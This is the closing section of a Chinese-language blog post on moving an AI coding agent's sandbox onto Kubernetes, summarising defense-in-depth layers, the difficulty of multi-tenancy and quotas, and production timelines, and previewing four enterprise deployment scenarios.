单机 sandbox 不是被替代了,而是被复用了。Codex 的 5 层防御没有一层在 K8s 上消失,只是有的搬到了 namespace 里、有的搬到了准入控制器里、有的搬到了运行时类里。理解 Codex 单机的设计哲学,是理解它在 K8s 上怎么落地的前提。

深度防御的代价是复杂度,但没有捷径。PSS + gVisor + seccomp + AppArmor + NetworkPolicy + Falco + OPA 看起来重,但少任何一层都给攻击者留口子。生产 AI agent 平台不存在”轻量级安全”这种东西

多租户和配额比安全更难。你以为难的是 sandbox 强度,做下去会发现真正难的是「300 个工程师怎么共享一个集群、怎么算账、怎么不互相影响」。这些问题没有银弹,只有靠 namespace + ResourceQuota + RBAC + 自研 Operator 的组合拳一点点磨。

从 MVP 到生产是 6 个月起步。别相信”两周搞定”的承诺。Codex K8s 化的 80% 工作量在第三阶段(生产化):CRD 设计、SSO 集成、完整审计链、多团队 onboard。这些没法跳过。


下一篇我们换个视角,讲4 个真实的企业落地场景

  1. 内部 Copilot 替代 —— 接公司 LLM Gateway / GitLab / Jira / 知识库,给全公司提供一个数据合规的 AI 编码助手
  2. CI/CD AI 修复机器人 —— PR 触发 → AI 在 sandbox 里跑测试 → 自动 fix → 自动提 MR
  3. 数据科学 / 内部查询平台 —— 同事写自然语言 → AI 转 SQL/Python → sandbox 跑 → 数据零外泄
  4. 多 Agent 并发 —— PM agent / Dev agent / Test agent 协作,每个独立 sandbox,权限不同

每个场景都会给完整的架构图和落地代码示例。点 22 → 23 继续。


参考资料

Ask Leslie

从本站公开文章中寻找答案。当前版本在浏览器本地检索,不上传问题,也不会编造不存在的经历。

输入一个问题,我会把你带到 Leslie 写过的相关内容。

微信联系

Leslie Zhang 的微信二维码

扫码添加 Leslie,建议备注你的名字与来意。